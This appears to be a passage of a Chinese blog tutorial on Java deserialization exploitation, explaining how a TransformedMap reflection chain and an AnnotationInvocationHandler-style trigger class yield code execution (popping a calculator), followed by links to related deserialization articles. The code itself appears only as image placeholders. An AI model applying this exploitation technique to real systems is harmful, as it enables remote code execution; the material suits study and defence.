    因为上述截图中的构造函数是受保护的类型,我们不能在代码中的显示的调用,因此尝试在源码中查到是否还有构造的位置,如下图所示:

    这里有两个地方可以使用该构造函数,如下图所示:

    构造一:

    Clipboard Image.png

    Clipboard Image.png

    利用构造方式一的方式触发反射链:

    code 13:

    Clipboard Image.png

    回到构造一的源码中,传入一个map的尺寸大于1,第一行代码会初始化valueTransformer的值,初始化之后进入到if当中,执行了TransformedMap方法的TransformMap方法,跟踪截图如下图:

    Clipboard Image.png

    最后执行了TransformValue方法,跟踪进入方法中截图如下:

    Clipboard Image.png

    这里执行了反射链的transform方法。

    利用构造二触发任意代码执行,如下图所示:

    code 14:


    Clipboard Image.png

    对照着源码去看很好解释,decorate方法对变量进行初始化,使用setValue方法触发反射链执行,触发点如下图所示:

    Clipboard Image.png

    上图红框中,当使用setValue方法的时候触发该方法,因此成功执行。

    到此为止反射链的触发方式说完了,现在就是要寻找一个类完成触发,回到code 7的代码中,其中的membervalue在readobject方法中使用了setvalue方法,因此我们只要控制传入的Map参数是我们TransformedMap对象即可。

    完成反序列漏洞实践

    现在我们将构造出来的TransformedMap对象保存,AnnotationInvocationHandler作为触发类,因此也需要被序列化保存,具体实现如下图所示:

    code 15:

    Clipboard Image.png

    上图中我们将AnnotationInvocationHandler构造完毕之后,序列化保存在bin2文件中,运行之后生成的bin2截图如下图所示:


    Clipboard Image.png

    利用反序列化读取该类,实现代码如下图所示:

    code 16:

    Clipboard Image.png

    但是上图中并未发现远程代码执行,找了很久也没发现问题出在哪里,因此我决定自己写一个代替AnnotationInvocationHandler类,模仿该类中的setValue方法,具体实现的类全览如下图所示:

    Clipboard Image.png

    开始对上面的类进行序列化存储在本地,对code 15进行修改,从原来的AnnotationInvocationHandler修改为user类的序列化,实现过程如下:

    Clipboard Image.png

    生成的bin2文件如下图所示:

    Clipboard Image.png

    利用code 16反序列化该文件,执行结果如下图所示:

    Clipboard Image.png

    成功弹出了计算器。

    结论

    上文中的AnnotationInvocationHandler检查了好久没弄明白是哪里错误了,如果有人看出来了,或者知道请指出;这里利用自己模仿AnnotationInvocationHandler类实现的过程。

    综合上面来看,反序列化漏洞的存在顾名思义,就是再将数据流反序列成对象的时候可以反序列成任意对象,我们不是反序列出一条反射链,而是利用反序列化漏洞反序列出反射链的触发类,通过该类去触发反射链的形成,而反射链的Map对象要在反序列化的类中可用。

     

     

    展开全文
  • 经典的Shiro反序列化漏洞分析

    千次阅读 2021-03-02 10:42:42
    相信大家总是面试会问到java反序列化,或者会问到标志性的漏洞,比如shiro反序列化,或者weblogic反序列化漏洞。 那我就这篇文章为大家讲解一下,不懂的哥哥直接背一下,理解一下就好了。 至于为什么要选择shiro反...
  • PHP反序列化漏洞学习总结

    千次阅读 2017-11-02 23:32:35
    一直以来总是觉得对PHP反序列化漏洞的理解比较模糊,今天抽时间深入学习下PHP反序列化漏洞的成因以及利用方式,在此做一个总结。  参考链接:    http://bobao.360.cn/learning/detail/3193.html  ...
  • yii反序列化漏洞 Yii框架 Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架。 Yii 是一个通用的 Web 编程框架,即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持,它...
  • 漏洞复现篇——Struts2反序列化漏洞

    千次阅读 2020-03-03 10:28:26
    Struts2是什么? Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet。...这套 Struts2 入门教程对 Struts2 框架进行了讲解,采用基础知识与案例相结...
  • 如果仅仅是开发失误,可能很少会产生反序列化漏洞,即使产生,其绕过方法、利用方式也较为复杂。但其实,有很大比例的反序列化漏洞是因使用了不安全的基础库而产生的。 2015年由黑客Gabriel Lawrence和Chris Frohoff...
  • 反序列化漏洞的详细说明可在这篇博客上了解到,讲解还是比较详细的: https://blog.csdn.net/qq_19876131/article/details/52890854 本题目主要就是利用HITCON和SoFun两个类中的__wakeup函数,我们可以控制HIT....
  • 我们都知道,Java 是一种高层级的语言。在 Java 中,你不需要直接操控内存,大部分...2015 年,Java 曾被曝出一个严重的漏洞,很多经典的商业框架都因此受到影响,其中最知名的是WebLogic。据统计,在网络中公开的 We.
  • pikachu靶场___反序列化漏洞教程1、靶场环境搭建使用2、基础知识讲解2.1 什么是反序列化2.2 为什么会产生这个漏洞?2.3 漏洞原理分析2.4 漏洞演示 1、靶场环境搭建使用 详见 ...
  • Thinkphp 5.0.24反序列化漏洞修复方案

    千次阅读 2020-11-24 17:10:47
    网上有很多讲解如何利用这个漏洞进行攻击,百度Thinkphp 5.0.24反序化漏洞会出来一堆。 但是如何修复这个漏洞没有讲解,我去Thinkphp 官网上也没有查到,我的建议一个是升级Thinkphp版本。 下面是我的修复方案: ...
  • Typcho反序列化漏洞分析 文章首发:https://xz.aliyun.com/t/9428 影响范围: 2017年10月24日之前的所有版本 环境搭建: 下载地址:http://typecho.org/,这里主要是说下,在intall之前,需要我们手动去数据库添加...
  • 这个thinkphp的反序列,第一次接触的时候,一个字都看不懂,把全网关于thinkphp反序列的都看了一遍,总算理解了百分之五六十了,然后把这个心酸、艰辛的历程记录下来,要想吃透thinkphp反序列,一定要先明白...
  • 五分钟复现fastjson1.2.24反序列化漏洞

    千次阅读 2020-06-17 11:14:13
    //192.168.33.109:6666/TouchFile", "autoCommit":true } } 如下表示成功: 此时rmi服务器显示 kali监听成功返回shell: 总结:这里只是简单的复现了fastjson反序列化漏洞的利用过程,未讲解原理(能力有限),原理...
  • 聚焦源代码安全,网罗国内外最新资讯!编译:代码卫士由谷歌开发的基于 Python 的开源机器学习和人工智能项目 TensorFlow 放弃对 YAML 的支持,以修复严重的代码执行漏洞。...
  • 看群主的讲解视频,顺便做个笔记。 先在本地做个测试,在index.php中写如下代码 <?php session_start(); $_SESSION['aaa'] = 'bbb'; 此时php的临时目录(tmp)中没有任何文件,然后访问http://127.0.0.1/,清除...
  • PHP反序列化漏洞

    2021-03-21 11:15:46
    反序列化漏洞也称为对象注入漏洞(本质上也是注入漏洞的一种),即恶意攻击者利用PHP的对象序列化和反序列化进行攻击,将恶意数据注入PHP的代码中进行执行的漏洞
  • Shiro是什么东西 ... shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:...反序列 然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列的RCE漏洞。 原理解释https://www.freebu...
  • 1.何为序列与反序列 序列就是把对象转化成一个字符串,目的是为了更好得传输数据,反序列就是把字符串再转化成对象。比如在test1.php中产生了一个对象,在其它php文件中要进行调用,如果有多个文件进行调用...
  • 目录 什么是php序列? serialize()实例 数组序列实例 对象序列实例​ ...unserialize()实例 ...数组序列实例 ...对象序列实例 ...序列字符串格式解析 ...public、private、protected序列...反序列化漏洞原理 参考链接

空空如也

空空如也

1 2 3 4 5 ... 16
收藏数 317
精华内容 126
关键字:

反序列化漏洞讲解